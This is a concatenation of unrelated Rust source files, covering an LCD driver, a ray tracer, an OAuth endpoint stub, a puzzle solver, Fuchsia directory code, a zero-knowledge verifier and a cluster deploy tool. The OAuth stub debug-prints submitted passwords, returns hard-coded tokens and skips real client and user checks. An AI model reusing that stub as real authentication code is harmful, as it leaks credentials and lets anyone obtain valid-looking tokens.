y.to_le_bytes(); let y_end = y_end.to_le_bytes(); // Define the window column size lcd::write_command(st7789::COMMAND::COLUMN_ADDRESS); lcd::write_data( &mut [ x[1], x[0], x_end[1], x_end[0] ]); // Define the window row size lcd::write_command(st7789::COMMAND::ROW_ADDRESS); lcd::write_data( &mut [ y[1], y[0], y_end[1], y_end[0] ]); } #[allow(dead_code)] pub fn write_splash() { set_window(39, 160, 59, 106); lcd::write_command(st7789::COMMAND::MEMORY_WRITE); lcd::write_block(&images::RUSTACEAN); } //============================================================================== // Private Functions //============================================================================== //============================================================================== // Interrupt Handler //============================================================================== //============================================================================== // Task Handler //==============================================================================
use std::rc::Rc; use crate::object::{Hittable, HitRecord}; use crate::Ray; pub struct HittableList { objects: Vec<Rc<dyn Hittable>>, } impl HittableList { pub fn new() -> Self { HittableList { objects: Vec::new() } } pub fn add(&mut self, object: Rc<dyn Hittable>) { self.objects.push(object); } } impl Hittable for HittableList { fn hit(&self, r: &Ray, t_min: f64, t_max: f64) -> Option<HitRecord> { let mut closest_so_far = t_max; let mut rec = None; for object in self.objects.iter() { if let Some(temp_rec) = object.hit(r, t_min, closest_so_far) { closest_so_far = temp_rec.t; rec = Some(temp_rec); } } rec } }
use nutype::nutype; use std::convert::TryFrom; use crate::{format_string, Error}; const METERS_PER_MILE: f64 = 1609.344; /// Distance in meters #[nutype(validate(min=0.0))] #[derive(*, Serialize, Deserialize)] pub struct Distance(f64); impl Default for Distance { fn default() -> Self { Self::new(0.0).unwrap() } } impl Distance { /// # Errors /// /// Will return error if input is less than zero pub fn from_meters(meters: f64) -> Result<Self, Error> { Self::try_from(meters).map_err(|e| Error::InvalidValue(format_string!("{e}"))) } /// # Errors /// /// Will return error if input is less than zero pub fn from_miles(miles: f64) -> Result<Self, Error> { Self::try_from(miles * METERS_PER_MILE) .map_err(|e| Error::InvalidValue(format_string!("{e}"))) } #[must_use] pub fn meters(self) -> f64 { self.into_inner() } #[must_use] pub fn miles(self) -> f64 { self.meters() / METERS_PER_MILE } } #[cfg(test)] mod tests { use approx::assert_abs_diff_eq; use crate::{distance::Distance, Error}; #[test] fn test_distance() -> Result<(), Error> { let s = Distance::from_miles(1.0)?; assert_abs_diff_eq!(s.miles(), 1.0); assert_abs_diff_eq!(s.meters(), 1609.344); let s = Distance::from_meters(160934.4)?; assert_abs_diff_eq!(s.miles(), 100.0); assert_abs_diff_eq!(s.meters(), 160934.4); Ok(()) } #[test] fn test_invalid_distance() -> Result<(), Error> { let s = Distance::from_miles(-12.0); assert!(s.is_err()); Ok(()) } }
use crate::{auth, Department, Gender, IdTokenPayload, Request, State, User}; use serde::{Deserialize, Serialize}; use serde_json::json; use tide::http::{headers, mime, Cookie}; use tide::{Redirect, Response, StatusCode}; macro_rules! oauth_redirect { ($redirect_uri:expr, $query:expr $(,)?) => { Redirect::new(format!("{}?{}", $redirect_uri, $query)).into() }; } macro_rules! oauth_response { ($status_code:expr, $json:expr $(,)?) => { Response::builder($status_code) .header(headers::CACHE_CONTROL, "no-store") .header(headers::PRAGMA, "no-cache") .content_type(mime::JSON) .body($json) .build() }; } #[derive(Debug, Deserialize, Serialize)] struct LoginEntity { id: String, password: String, } #[derive(Debug, Deserialize, Serialize)] struct RequestCodeEntity { response_type: String, client_id: String, redirect_uri: String, state: String, } #[derive(Debug, Deserialize, Serialize)] struct RequestTokenEntity { grant_type: String, code: String, redirect_uri: String, client_id: String, } // POST /api/oauth pub async fn login(mut req: Request) -> tide::Result { match req.body_form::<LoginEntity>().await { Ok(entity) => { dbg!(&entity.id, &entity.password); let sid = "qwertyuiop1234567890".to_string(); dbg!(&sid); let cookie = Cookie::build("incalo_sid", sid) .secure(!cfg!(debug_assertions)) .finish(); let mut res = oauth_response!(StatusCode::Ok, json!({ "consent": true })); res.insert_cookie(cookie); Ok(res) } Err(_) => Ok(Response::new(StatusCode::BadRequest)), } } // GET /api/oauth/authorize pub async fn request_authorization_code(req: Request) -> tide::Result { let State { config, pool: _ } = req.state(); match req.query::<RequestCodeEntity>() { Ok(entity) => { if entity.response_type != "code" { return Ok(oauth_redirect!( &config.oauth_default_redirect_uri, "error=unsupported_response_type" )); } let sid = req.cookie("incalo_sid"); if sid.is_none() { return Ok(oauth_redirect!( &config.oauth_default_redirect_uri, "error=unauthorized_client" )); } let user_id: Result<String, async_std::io::Error> = Ok("".to_string()); if user_id.is_err() { return Ok(oauth_redirect!( &config.oauth_default_redirect_uri, "error=unauthorized_client" )); } let user_id = user_id.unwrap(); dbg!(&user_id); let code = "qwertyuiop1234567890".to_string(); let res = oauth_redirect!( entity.redirect_uri, format!("code={}&state={}", code, entity.state), ); Ok(res) } Err(_) => Ok(oauth_redirect!( &config.oauth_default_redirect_uri, "error=invalid_request" )), } } // POST /api/oauth/token pub async fn request_access_token(mut req: Request) -> tide::Result { match req.body_form::<RequestTokenEntity>().await { Ok(entity) => { if entity.grant_type != "authorization_code" { return Ok(oauth_response!( StatusCode::BadRequest, json!({ "error": "unsupported_grant_type" }), )); } let user_id: Result<String, async_std::io::Error> = Ok("hello".to_string()); if user_id.is_err() { return Ok(oauth_response!( StatusCode::BadRequest, json!({ "error": "invalid_grant" }), )); } let user_id = user_id.unwrap(); if false { return Ok(oauth_response!( StatusCode::Unauthorized, json!({ "error": "invalid_client" }), )); } let State { config, pool: _ } = req.state(); let user = User { id: user_id, email: "hello@example.com".to_string(), name: "Hello".to_string(), gender: Gender::HIDDEN, department: Department::UNK, }; let payload = IdTokenPayload::new( config.id_token_issuer.clone(), "client_id".to_string(), config.id_token_expires_in, user, ); let id_token = auth::encode_id_token(&payload, &config.id_token_secret)?; let access_token = "qwertyuiop1234567890".to_string(); let refresh_token = "qwertyuiop1234567890".to_string(); let res = oauth_response!( StatusCode::Ok, json!({ "access_token": access_token, "token_type": "Bearer", "refresh_token": refresh_token, "expires_in": config.id_token_expires_in, "id_token": id_token, }), ); Ok(res) } Err(_) => Ok(oauth_response!( StatusCode::BadRequest, json!({ "error": "invalid_request" }), )), } }
fn main() { // Prevent building SPIRV-Cross on wasm32 target let target_arch = std::env::var("CARGO_CFG_TARGET_ARCH"); if let Ok(arch) = target_arch { if "wasm32" == arch { return; } } let target_vendor = std::env::var("CARGO_CFG_TARGET_VENDOR"); let is_apple = target_vendor.is_ok() && target_vendor.unwrap() == "apple"; let target_os = std::env::var("CARGO_CFG_TARGET_OS"); let is_ios = target_os.is_ok() && target_os.unwrap() == "ios"; let mut build = cc::Build::new(); build.cpp(true); let compiler = build.try_get_compiler(); let is_clang = compiler.is_ok() && compiler.unwrap().is_like_clang(); if is_apple && (is_clang || is_ios) { build.flag("-std=c++14").cpp_set_stdlib("c++"); } else { build.flag_if_supported("-std=c++14"); } build .flag("-DSPIRV_CROSS_EXCEPTIONS_TO_ASSERTIONS"); build .file("SPIRV-Cross/spirv_cross_c.cpp") .file("SPIRV-Cross/spirv_cfg.cpp") .file("SPIRV-Cross/spirv_cross.cpp") .file("SPIRV-Cross/spirv_cross_parsed_ir.cpp") .file("SPIRV-Cross/spirv_parser.cpp") .file("SPIRV-Cross/spirv_cross_util.cpp"); // Ideally the GLSL compiler would be omitted here, but the HLSL and MSL compiler // currently inherit from it. So it's necessary to unconditionally include it here. build .file("SPIRV-Cross/spirv_glsl.cpp") .flag("-DSPIRV_CROSS_C_API_GLSL"); #[cfg(feature = "hlsl")] build .file("SPIRV-Cross/spirv_hlsl.cpp") .flag("-DSPIRV_CROSS_C_API_HLSL"); #[cfg(feature = "msl")] build .file("SPIRV-Cross/spirv_msl.cpp") .flag("-DSPIRV_CROSS_C_API_MSL"); build.compile("spirv-cross"); let bindings = bindgen::Builder::default() .header("SPIRV-Cross/spirv_cross_c.h") .parse_callbacks(Box::new(bindgen::CargoCallbacks)) .generate() .expect("Unable to generate bindings"); let out_path = std::path::PathBuf::from(std::env::var("OUT_DIR").unwrap()); bindings .write_to_file(out_path.join("bindings.rs")) .expect("Couldn't write bindings!"); }
extern crate core; extern crate rayon; use std::fmt::{Display, Formatter, Error}; use ::SquareState::{BLOCK, PLAYABLE, EMPTY, FULL}; use core::fmt::Write; use std::sync::atomic::AtomicBool; use std::sync::atomic::Ordering::Relaxed; use rayon::iter::IntoParallelRefIterator; use rayon::iter::ParallelIterator; #[derive(Clone, Copy, Debug, PartialEq)] enum SquareState { BLOCK, EMPTY, FULL, PLAYABLE, } #[derive(Clone, Copy, Debug)] struct Square { state: SquareState, count: u8, } #[derive(Clone, Copy, Debug)] struct Play { x: i8, y: i8, dx: i8, dy: i8, count: u8, } impl Square { fn parse(c: char) -> Result<Square, String> { if c >= '1' && c <= '9' || c >= 'a' && c <= 'f' { Ok(Square { state: PLAYABLE, count: from_hex(c), }) } else if c == ' ' { Ok(Square { state: BLOCK, count: 0, }) } else if c == '.' { Ok(Square { state: EMPTY, count: 0, }) } else { Err(format!("Couldn't parse {} as a Square", c)) } } } impl Display for Square { fn fmt(&self, f: &mut Formatter) -> Result<(), Error> { match self.state { PLAYABLE => f.write_char(to_hex(self.count))?, FULL => f.write_char('X')?, EMPTY => f.write_char('.')?, BLOCK => f.write_char(' ')?, }; Ok(()) } } #[derive(Clone, Debug)] struct Map { grid: Vec<Vec<Square>>, } impl Map { fn parse(s: &str) -> Result<Map, String> { let mut lines = vec!(); let mut line = vec!(); for c in s.chars() { if c.is_ascii_hexdigit() || c == ' ' || c == '.' { line.push(Square::parse(c)?); } else if c == '\n' { lines.push(line); line = vec!(); } } lines.push(line); Ok(Map{ grid: lines }) } fn get_plays(&self) -> Vec<Play> { let mut plays = vec!(); { let mut try_add_play = |play: Play| { if self.is_legal_play(&play) { plays.push(play); return true; } return false; }; for (y, line) in self.grid.iter().enumerate() { for (x, square) in line.iter().enumerate() { if square.state == PLAYABLE { let play_exists = try_add_play(Play { x: x as i8, y: y as i8, dx: 1, dy: 0, count: square.count }); let play_exists = try_add_play(Play { x: x as i8, y: y as i8, dx: -1, dy: 0, count: square.count }) || play_exists; let play_exists = try_add_play(Play { x: x as i8, y: y as i8, dx: 0, dy: 1, count: square.count }) || play_exists; let play_exists = try_add_play(Play { x: x as i8, y: y as i8, dx: 0, dy: -1, count: square.count }) || play_exists; // If a PLAYABLE square isn't actually playable, it doesn't make sense to return any plays at all, the map unsolvable if !play_exists { return vec!(); } } } } } // TODO: detect EMPTY squares that can't be reached, return no plays return plays; } fn is_legal_play(&self, play: &Play) -> bool { let mut x = play.x + play.dx; let mut y = play.y + play.dy; let mut empties = 0; while empties < play.count { match self.get_square(x, y).map(|square| square.state) { Some(EMPTY) => empties += 1, Some(BLOCK) | None => return false, _ => (), } x += play.dx; y += play.dy; } return true; } fn get_square(&self, x: i8, y: i8) -> Option<&Square> { self.grid.get(y as usize).map(|line| line.get(x as usize)).unwrap_or_default() } fn get_square_mut(&mut self, x: i8, y: i8) -> Option<&mut Square> { self.grid.get_mut(y as usize).map(|line| line.get_mut(x as usize)).unwrap_or_default() } fn apply_play(&mut self, play: &Play) { if !self.is_legal_play(play) { panic!("Tried to make an illegal play"); } let mut x = play.x; let mut y = play.y; let mut filled = 0; { let square = self.get_square_mut(x, y).unwrap(); square.state = FULL; } while filled < play.count { let square = self.get_square_mut(x, y).unwrap(); if square.state == EMPTY { square.state = FULL; filled += 1; } x += play.dx; y += play.dy; } } fn is_solved(&self) -> bool { for line in self.grid.iter() { for square in line.iter() { match square.state { EMPTY => return false, PLAYABLE => return false, _ => (), } } } return true; } fn solve(&self) -> Option<Vec<Play>> { return self.solve_inner(0, &AtomicBool::new(false)).map(|mut solution| { solution.reverse(); solution }); } fn solve_inner(&self, depth: u8, cancelled: &AtomicBool) -> Option<Vec<Play>> { if self.is_solved() { return Some(vec!()); } let plays = self.get_plays(); return plays.iter() .map(|play: &Play| -> Option<Vec<Play>> { if cancelled.load(Relaxed) { return None; } let mut map = self.clone(); map.apply_play(&play); if let Some(mut solution) = map.solve_inner(depth + 1, cancelled) { cancelled.store(true, Relaxed); solution.push(play.clone()); return Some(solution); } return None }) .fold( None, |prev: Option<Vec<Play>>, solution: Option<Vec<Play>>| prev.or(solution)) } } impl Display for Map { fn fmt(&self, f: &mut Formatter) -> Result<(), Error> { for line in self.grid.iter() { for square in line.iter() { write!(f, "{}", square)?; } f.write_str("\n")?; } Ok(()) } } fn from_hex(c: char) -> u8 { if c >= '1' && c <= '9' { c as u8 - '1' as u8 + 1 } else if c >= 'a' && c <= 'f' { c as u8 - 'a' as u8 + 10 } else { panic!("Can't to_hex numbers outside 1-9 and a-f") } } fn to_hex(i: u8) -> char { if i >= 1 && i <= 9 { ('0' as u8 + i) as char } else if i >= 10 && i <= 16 { ('a' as u8 + i - 10) as char } else { panic!("Can't to_hex numbers outside 1-16") } } fn main() -> Result<(), String> { // let map = Map::parse("1.\n1.\n.1")?; let map = Map::parse(include_str!("../maps/4-80.map"))?; let solution = map.solve(); println!("Solution:\n{:?}", solution); Ok(()) }
// Copyright 2019 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. use crate::{ common::{inherit_rights_for_clone, send_on_open_with_error}, directory::{ common::{ check_child_connection_flags, new_connection_validate_flags, POSIX_DIRECTORY_PROTECTION_ATTRIBUTES, }, dirents_sink, entry::DirectoryEntry, read_dirents, }, execution_scope::ExecutionScope, path::Path, }; use { failure::Error, fidl::encoding::OutOfLine, fidl::endpoints::ServerEnd, fidl_fuchsia_io::{ DirectoryMarker, DirectoryObject, DirectoryRequest, DirectoryRequestStream, NodeAttributes, NodeInfo, NodeMarker, INO_UNKNOWN, MODE_TYPE_DIRECTORY, OPEN_FLAG_DESCRIBE, }, fuchsia_async::Channel, fuchsia_zircon::{ sys::{ZX_ERR_INVALID_ARGS, ZX_ERR_NOT_SUPPORTED, ZX_OK}, Status, }, futures::{future::BoxFuture, stream::StreamExt}, std::{default::Default, iter, iter::ExactSizeIterator, mem::replace, sync::Arc}, }; pub type ReadDirentsResult = Result<Box<dyn dirents_sink::Sealed>, Status>; pub enum AsyncReadDirents { Immediate(ReadDirentsResult), Future(BoxFuture<'static, ReadDirentsResult>), } impl From<Box<dyn dirents_sink::Sealed>> for AsyncReadDirents { fn from(done: Box<dyn dirents_sink::Sealed>) -> AsyncReadDirents { AsyncReadDirents::Immediate(Ok(done)) } } pub trait DirectoryEntryContainer<TraversalPosition>: DirectoryEntry + Send where TraversalPosition: Default + Send + Sync + 'static, { fn read_dirents( self: Arc<Self>, pos: TraversalPosition, sink: Box<dyn dirents_sink::Sink<TraversalPosition>>, ) -> AsyncReadDirents; fn register_watcher( self: Arc<Self>, scope: ExecutionScope, mask: u32, channel: Channel, ) -> Status; fn unregister_watcher(self: Arc<Self>, key: usize); } /// Represents a FIDL connection to a directory. A single directory may contain multiple /// connections. An instances of the DirectoryConnection will also hold any state that is /// "per-connection". Currently that would be the access flags and the seek position. pub struct DirectoryConnection<TraversalPosition> where TraversalPosition: Default + Send + Sync + 'static, { /// Execution scope this connection and any async operations and connections it creates will /// use. scope: ExecutionScope, directory: Arc<dyn DirectoryEntryContainer<TraversalPosition>>, requests: DirectoryRequestStream, /// Flags set on this connection when it was opened or cloned. flags: u32, /// Seek position for this connection to the directory. We just store the element that was /// returned last by ReadDirents for this connection. Next call will look for the next element /// in alphabetical order and resume from there. /// /// An alternative is to use an intrusive tree to have a dual index in both names and IDs that /// are assigned to the entries in insertion order. Then we can store an ID instead of the /// full entry name. This is what the C++ version is doing currently. /// /// It should be possible to do the same intrusive dual-indexing using, for example, /// /// https://docs.rs/intrusive-collections/0.7.6/intrusive_collections/ /// /// but, as, I think, at least for the pseudo directories, this approach is fine, and it simple /// enough. seek: TraversalPosition, } /// Return type for [`DirectoryConnection::handle_request()`]. enum ConnectionState { Alive, Closed, } impl<TraversalPosition> DirectoryConnection<TraversalPosition> where TraversalPosition: Default + Send + Sync + 'static, { /// Initializes a directory connection, checking the flags and sending `OnOpen` event if /// necessary. Returns a [`DirectoryConnection`] object as a [`StreamFuture`], or in case of /// an error, sends an appropriate `OnOpen` event (if requested) and returns `None`. pub fn create_connection( scope: ExecutionScope, directory: Arc<dyn DirectoryEntryContainer<TraversalPosition>>, flags: u32, mode: u32, server_end: ServerEnd<NodeMarker>, ) { let flags = match new_connection_validate_flags(flags, mode) { Ok(updated) => updated, Err(status) => { send_on_open_with_error(flags, server_end, status); return; } }; let (requests, control_handle) = match ServerEnd::<DirectoryMarker>::new(server_end.into_channel()) .into_stream_and_control_handle() { Ok((requests, control_handle)) => (requests, control_handle), Err(_) => { // As we report all errors on `server_end`, if we failed to send an error over // this connection, there is nowhere to send the error tothe error to. return; } }; if flags & OPEN_FLAG_DESCRIBE != 0 { let mut info = NodeInfo::Directory(DirectoryObject); match control_handle.send_on_open_(Status::OK.into_raw(), Some(OutOfLine(&mut info))) { Ok(()) => (), Err(_) => return, } } let handle_requests = DirectoryConnection::<TraversalPosition> { scope: scope.clone(), directory, requests, flags, seek: Default::default(), } .handle_requests(); // If we failed to send the task to the executor, it is probably shut down or is in the // process of shutting down (this is the only error state currently). So there is nothing // for us to do, but to ignore the request. Connection will be closed when the connection // object is dropped. let _ = scope.spawn(Box::pin(handle_requests)); } #[must_use = "handle_requests() returns an async task that needs to be run"] async fn handle_requests(mut self) { while let Some(request_or_err) = self.requests.next().await { match request_or_err { Err(_) => { // FIDL level error, such as invalid message format and alike. Close the // connection on any unexpected error. // TODO: Send an epitaph. break; } Ok(request) => match self.handle_request(request).await { Ok(ConnectionState::Alive) => (), Ok(ConnectionState::Closed) => break, Err(_) => { // Protocol level error. Close the connection on any unexpected error. // TODO: Send an epitaph. break; } }, } } } /// Handle a [`DirectoryRequest`]. This function is responsible for handing all the basic /// direcotry operations. // TODO(fxb/37419): Remove default handling after methods landed. #[allow(unreachable_patterns)] async fn handle_request(&mut self, req: DirectoryRequest) -> Result<ConnectionState, Error> { match req { DirectoryRequest::Clone { flags, object, control_handle: _ } => { self.handle_clone(flags, 0, object); } DirectoryRequest::Close { responder } => { responder.send(ZX_OK)?; return Ok(ConnectionState::Closed); } DirectoryRequest::Describe { responder } => { let mut info = NodeInfo::Directory(DirectoryObject); responder.send(&mut info)?; } DirectoryRequest::Sync { responder } => { responder.send(ZX_ERR_NOT_SUPPORTED)?; } DirectoryRequest::GetAttr { responder } => { let mut attrs = NodeAttributes { mode: MODE_TYPE_DIRECTORY | POSIX_DIRECTORY_PROTECTION_ATTRIBUTES, id: INO_UNKNOWN, content_size: 0, storage_size: 0, link_count: 1, creation_time: 0, modification_time: 0, }; responder.send(ZX_OK, &mut attrs)?; } DirectoryRequest::SetAttr { flags: _, attributes: _, responder } => { // According to zircon/system/fidl/fuchsia-io/io.fidl the only flag that might be // modified through this call is OPEN_FLAG_APPEND, and it is not supported by a // Simple directory. responder.send(ZX_ERR_NOT_SUPPORTED)?; } DirectoryRequest::Open { flags, mode, path, object, control_handle: _ } => { self.handle_open(flags, mode, path, object); } DirectoryRequest::Unlink { path: _, responder } => { responder.send(ZX_ERR_NOT_SUPPORTED)?; } DirectoryRequest::ReadDirents { max_bytes, responder } => { self.handle_read_dirents(max_bytes, |status, entries| { responder.send(status.into_raw(), entries) }) .await?; } DirectoryRequest::Rewind { responder } => { self.seek = Default::default(); responder.send(ZX_OK)?; } DirectoryRequest::GetToken { responder } => { responder.send(ZX_ERR_NOT_SUPPORTED, None)?; } DirectoryRequest::Rename { src: _, dst_parent_token: _, dst: _, responder } => { responder.send(ZX_ERR_NOT_SUPPORTED)?; } DirectoryRequest::Link { src: _, dst_parent_token: _, dst: _, responder } => { responder.send(ZX_ERR_NOT_SUPPORTED)?; } DirectoryRequest::Watch { mask, options, watcher, responder } => { if options != 0 { responder.send(ZX_ERR_INVALID_ARGS)?; } else { let channel = Channel::from_channel(watcher)?; self.handle_watch(mask, channel, |status| responder.send(status.into_raw())) .await?; } } _ => {} } Ok(ConnectionState::Alive) } fn handle_clone(&self, flags: u32, mode: u32, server_end: ServerEnd<NodeMarker>) { let flags = match inherit_rights_for_clone(self.flags, flags) { Ok(updated) => updated, Err(status) => { send_on_open_with_error(flags, server_end, status); return; } }; Self::create_connection( self.scope.clone(), self.directory.clone(), flags, mode, server_end, ); } fn handle_open( &self, flags: u32, mut mode: u32, path: String, server_end: ServerEnd<NodeMarker>, ) { if path == "/" || path == "" { send_on_open_with_error(flags, server_end, Status::BAD_PATH); return; } if path == "." || path == "./" { self.handle_clone(flags, mode, server_end); return; } let path = match Path::validate_and_split(path) { Ok(path) => path, Err(status) => { send_on_open_with_error(flags, server_end, status); return; } }; if path.is_dir() { mode |= MODE_TYPE_DIRECTORY; } let flags = match check_child_connection_flags(self.flags, flags) { Ok(updated) => updated, Err(status) => { send_on_open_with_error(flags, server_end, status); return; } }; // It is up to the open method to handle OPEN_FLAG_DESCRIBE from this point on. let directory = self.directory.clone(); directory.open(self.scope.clone(), flags, mode, path, server_end); } async fn handle_read_dirents<R>( &mut self, max_bytes: u64, responder: R, ) -> Result<(), fidl::Error> where R: FnOnce(Status, &mut dyn ExactSizeIterator<Item = u8>) -> Result<(), fidl::Error>, { let res = { let directory = self.directory.clone(); match directory.read_dirents( replace(&mut self.seek, Default::default()), read_dirents::Sink::<TraversalPosition>::new(max_bytes), ) { AsyncReadDirents::Immediate(res) => res, AsyncReadDirents::Future(fut) => fut.await, } }; let done_or_err = match res { Ok(sealed) => sealed.open().downcast::<read_dirents::Done<TraversalPosition>>(), Err(status) => return responder(status, &mut iter::empty()), }; match done_or_err { Ok(done) => { self.seek = done.pos; responder(done.status, &mut done.buf.into_iter()) } Err(_) => { debug_assert!( false, "`read_dirents()` returned a `dirents_sink::Sealed` instance that is not \ an instance of the `read_dirents::Done`. This is a bug in the \ `read_dirents()` implementation." ); responder(Status::NOT_SUPPORTED, &mut iter::empty()) } } } async fn handle_watch<R>( &mut self, mask: u32, channel: Channel, responder: R, ) -> Result<(), fidl::Error> where R: FnOnce(Status) -> Result<(), fidl::Error>, { let directory = self.directory.clone(); let status = directory.register_watcher(self.scope.clone(), mask, channel); responder(status) } }
use crate::*; use ark_crypto_primitives::Error; use ark_ec::PairingEngine; use ark_groth16::{Proof, VerifyingKey}; use ark_serialize::CanonicalDeserialize; use arkworks_gadgets::{ setup::{common::verify_groth16, mixer::get_public_inputs}, utils::to_field_elements, }; use sp_std::marker::PhantomData; pub struct ArkworksMixerVerifierGroth16<E: PairingEngine>(PhantomData<E>); impl<E: PairingEngine> InstanceVerifier for ArkworksMixerVerifierGroth16<E> { fn verify(public_inp_bytes: &[u8], proof_bytes: &[u8], vk_bytes: &[u8]) -> Result<bool, Error> { let public_input_field_elts = to_field_elements::<E::Fr>(public_inp_bytes).unwrap(); let public_inputs = get_public_inputs::<E::Fr>( public_input_field_elts[0], // nullifier_hash public_input_field_elts[1], // root public_input_field_elts[2], // recipient public_input_field_elts[3], // relayer public_input_field_elts[4], // fee public_input_field_elts[5], // refund ); let vk = VerifyingKey::<E>::deserialize(vk_bytes)?; let proof = Proof::<E>::deserialize(proof_bytes)?; let res = verify_groth16::<E>(&vk, &public_inputs, &proof); Ok(res) } } use ark_bls12_381::Bls12_381; pub type ArkworksBls381Verifier = ArkworksMixerVerifierGroth16<Bls12_381>; use ark_bn254::Bn254; pub type ArkworksBn254Verifier = ArkworksMixerVerifierGroth16<Bn254>;
// Kth Largest Element in an Array // https://leetcode.com/explore/challenge/card/january-leetcoding-challenge-2021/581/week-3-january-15th-january-21st/3606/ #[cfg(disabled)] use std::cmp::Ordering::*; pub struct Solution; impl Solution { #[cfg(disable)] pub fn find_kth_largest(nums: Vec<i32>, k: i32) -> i32 { let k = k as usize; let mut buf = Vec::with_capacity(k); for num in nums { let filled = buf.len() >= k; if filled && num <= buf[0] { continue; }; let pos = buf .binary_search(&num) .unwrap_or_else(std::convert::identity); if filled { buf[..pos].rotate_left(1); buf[pos - 1] = num; } else { buf.insert(pos, num); } } buf[0] } #[cfg(disable)] pub fn find_kth_largest(mut nums: Vec<i32>, k: i32) -> i32 { let k = k as usize; let size = nums.len(); let (left, right) = nums.split_at_mut(size - k); right.sort_unstable(); for &num in left.iter() { if num > right[0] { let pos = right .binary_search(&num) .unwrap_or_else(std::convert::identity); right[..pos].rotate_left(1); right[pos - 1] = num; } } right[0] } pub fn find_kth_largest(mut nums: Vec<i32>, k: i32) -> i32 { let k = k as usize; let size = nums.len(); let (left, right) = nums.split_at_mut(size - k); right.sort_unstable(); for &num in left.iter() { if num > right[0] { let pos = right .binary_search(&num) .unwrap_or_else(std::convert::identity); right.copy_within(1..pos, 0); right[pos - 1] = num; } } right[0] } #[cfg(disable)] pub fn find_kth_largest(mut nums: Vec<i32>, k: i32) -> i32 { let idx = nums.len() - k as usize; nums.select_nth_unstable(idx); nums[idx] } #[cfg(disable)] pub fn find_kth_largest(mut nums: Vec<i32>, k: i32) -> i32 { let idx = nums.len() - k as usize; let mut low = 0; let mut high = nums.len() - 1; while low < high { let pivot = nums[high]; let mut store = low; for i in low..high { if nums[i] < pivot { nums.swap(i, store); store += 1; } } nums.swap(store, high); match store.cmp(&idx) { Equal => break, Less => low = store + 1, Greater => high = store - 1, } } if nums[low] > nums[high] { nums.swap(low, high) }; nums[idx] } } #[cfg(test)] mod tests { use super::*; #[test] fn example1() { assert_eq!(Solution::find_kth_largest(vec![3, 2, 1, 5, 6, 4], 2), 5) } #[test] fn example2() { assert_eq!( Solution::find_kth_largest(vec![3, 2, 3, 1, 2, 4, 5, 5, 6], 4), 4 ) } #[test] fn test1() { assert_eq!(Solution::find_kth_largest(vec![99, 99], 1), 99) } #[test] fn test2() { assert_eq!(Solution::find_kth_largest(vec![1, 2, 3, 4], 3), 2) } #[test] fn test3() { assert_eq!(Solution::find_kth_largest(vec![1], 1), 1) } #[test] fn test4() { assert_eq!(Solution::find_kth_largest(vec![1, 2], 1), 2) } #[test] fn test5() { assert_eq!(Solution::find_kth_largest(vec![3, 2, 1, 5, 6, 4], 2), 5) } }
use std::fmt; #[derive(Clone, Copy, PartialEq, Debug)] pub enum States { Alive, Dead, } #[derive(Clone, PartialEq, Debug)] pub struct Cell { pub state :States, pub next_state :States, } impl Cell { pub fn new() -> Cell { Cell { state: States::Dead, next_state: States::Dead} } pub fn update_state(&mut self) { self.state = self.next_state; } } impl fmt::Display for Cell { fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { if self.state == States::Dead { write!(f, " ") } else { write!(f, "X ") } } } #[cfg(test)] mod tests { use super::{States, Cell}; #[test] fn create_cell() { let mut a = Cell::new(); let b = Cell{state: States::Alive, next_state: States::Alive, }; a.next_state = States::Alive; a.update_state(); assert_eq!(a, b); } }
//! # `deploy` //! Run a binary on a constellation cluster //! //! ## Usage //! ```text //! deploy [options] <host> <binary> [--] [args]... //! ``` //! //! ## Options //! ```text //! -h --help Show this screen. //! -V --version Show version. //! --format=<fmt> Output format [possible values: human, json] [defa ult: human] //! ``` //! //! Note: --format can also be given as an env var, such as `CONSTELLATION_FORMAT=json` #![feature(nll, allocator_api)] #![warn( missing_copy_implementations, missing_debug_implementations, missing_docs, trivial_numeric_casts, unused_extern_crates, unused_import_braces, unused_qualifications, unused_results, clippy::pedantic )] // from https://github.com/rust-unofficial/patterns/blob/master/anti_patterns/deny-warnings.md extern crate bincode; extern crate crossbeam; // extern crate serde; extern crate serde_json; #[macro_use] extern crate serde_derive; extern crate atty; extern crate constellation_internal; extern crate docopt; extern crate either; extern crate palaver; use constellation_internal::{ map_bincode_err, BufferedStream, DeployInputEvent, DeployOutputEvent, Envs, ExitStatus, Format, Formatter, Pid, Resources, StyleSupport }; use either::Either; use palaver::copy_sendfile; use std::{ collections::HashSet, env, ffi, fs, io::{self, Read, Write}, iter, mem, net, path, process }; #[global_allocator] static GLOBAL: std::alloc::System = std::alloc::System; const USAGE: &str = " deploy Run a binary on a constellation cluster USAGE: deploy [options] <host> <binary> [--] [args]... OPTIONS: -h --help Show this screen. -V --version Show version. --format=<fmt> Output format [possible values: human, json] [defa ult: human] Note: --format can also be given as an env var, such as CONSTELLATION_FORMAT=json "; #[derive(Debug, Deserialize)] struct Args { flag_version: bool, flag_format: Option<Format>, arg_host: String, arg_binary: path::PathBuf, arg_args: Vec<String>, // ffi::OsString } fn main() { let envs = Envs::from_env(); let args: Args = docopt::Docopt::new(USAGE) .and_then(|d| d.deserialize()) .unwrap_or_else(|e| e.exit()); let _version = args.flag_version || envs .version .map_or(false, |x| x.expect("CONSTELLATION_VERSION must be 0 or 1")); let format = args .flag_format .or_else(|| { envs.format .map(|x| x.expect("CONSTELLATION_FORMAT must be json or human")) }) .unwrap_or(Format::Human); let bridge_address: net::SocketAddr = args.arg_host.parse().unwrap(); let path = args.arg_binary; let args: Vec<ffi::OsString> = iter::once(ffi::OsString::from(path.clone())) .chain(args.arg_args.into_iter().map(ffi::OsString::from)) .collect(); let vars: Vec<(ffi::OsString, ffi::OsString)> = env::vars_os().collect(); let stream = net::TcpStream::connect(&bridge_address) .unwrap_or_else(|e| panic!("Could not connect to {:?}: {:?}", bridge_address, e)); let (mut stream_read, mut stream_write) = (BufferedStream::new(&stream), BufferedStream::new(&stream)); let binary = fs::File::open(path).unwrap(); let len: u64 = binary.metadata().unwrap().len(); assert_ne!(len, 0); let mut stream_write_ = stream_write.write(); bincode::serialize_into(&mut stream_write_, &None::<Resources>).unwrap(); bincode::serialize_into(&mut stream_write_, &args).unwrap(); bincode::serialize_into(&mut stream_write_, &vars).unwrap(); bincode::serialize_into(&mut stream_write_, &len).unwrap(); drop(stream_write_); copy_sendfile(&binary, &**stream_write.get_ref(), len).unwrap(); let mut stream_write_ = stream_write.write(); let arg: Vec<u8> = Vec::new(); bincode::serialize_into(&mut stream_write_, &arg).unwrap(); 